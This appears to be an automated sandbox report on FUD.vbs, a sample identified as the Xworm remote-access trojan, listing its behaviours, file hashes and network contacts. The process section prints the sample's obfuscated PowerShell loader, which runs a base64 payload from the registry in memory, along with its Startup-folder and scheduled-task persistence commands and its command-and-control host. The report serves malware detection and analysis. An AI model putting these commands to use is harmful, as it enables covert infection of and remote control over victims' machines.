Analysis Overview
SHA256
fc7ff09bf7a249e9f9fd709e932d18deb3177c215904ba008a63717bba4cbe06
Threat Level: Known bad
The file FUD.vbs was found to be: Known bad.
Malicious Activity Summary
Xworm
Detect Xworm Payload
Blocklisted process makes network request
Executes dropped EXE
Drops startup file
Adds Run key to start application
Looks up external IP address via web service
Enumerates physical storage devices
Command and Scripting Interpreter: PowerShell
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Scheduled Task/Job: Scheduled Task
Uses Task Scheduler COM API
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-21 20:30
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-21 20:30
Reported
2024-06-21 20:35
Platform
win11-20240611-en
Max time kernel
296s
Max time network
300s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
Drops startup file
| Description | Indicator | Process | Target |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-423582142-4191893794-1888535462-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows backup = "C:\\Users\\Admin\\Windows backup" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\Windows backup | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 960 wrote to memory of 1008 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 960 wrote to memory of 1008 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1008 wrote to memory of 2612 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\schtasks.exe |
| PID 1008 wrote to memory of 2612 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\schtasks.exe |
Uses Task Scheduler COM API
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs'; $stoai = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $stoai = -join $stoai[-1..-$stoai.Length];[<##>AppDomain<##>]::<##>('tidelyurrentDomain'.replace('tidely','C'))<##>.<##>('Halsyoad'.replace('Halsy','L'))([Convert]::FromBase64String($stoai))<##>.<##>('impoliticlyntryPoint'.replace('impoliticly','E'))<##>.<##>('Inpigsniesoke'.replace('pigsnies','v'))($Null,$Null)<##>;
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows backup" /tr "C:\Users\Admin\Windows backup"
C:\Users\Admin\Windows backup
"C:\Users\Admin\Windows backup"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
| DE | 193.161.193.99:2028 | Jamalhacker-53065.portmap.io | tcp |
Files
memory/1008-0-0x00007FFDD7243000-0x00007FFDD7245000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fcehi1oj.nld.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1008-9-0x000002474C140000-0x000002474C162000-memory.dmp
memory/1008-10-0x00007FFDD7240000-0x00007FFDD7D02000-memory.dmp
memory/1008-11-0x00007FFDD7240000-0x00007FFDD7D02000-memory.dmp
memory/1008-12-0x00007FFDD7240000-0x00007FFDD7D02000-memory.dmp
memory/1008-13-0x000002474C560000-0x000002474C5A6000-memory.dmp
memory/1008-15-0x000002474C1C0000-0x000002474C1D0000-memory.dmp
memory/1008-20-0x00007FFDD7240000-0x00007FFDD7D02000-memory.dmp
memory/1008-21-0x00007FFDD7243000-0x00007FFDD7245000-memory.dmp
C:\Users\Admin\Windows backup
| MD5 | 0e9ccd796e251916133392539572a374 |
| SHA1 | eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204 |
| SHA256 | c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221 |
| SHA512 | e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | e566632d8956997225be604d026c9b39 |
| SHA1 | 94a9aade75fffc63ed71404b630eca41d3ce130e |
| SHA256 | b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0 |
| SHA512 | f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd |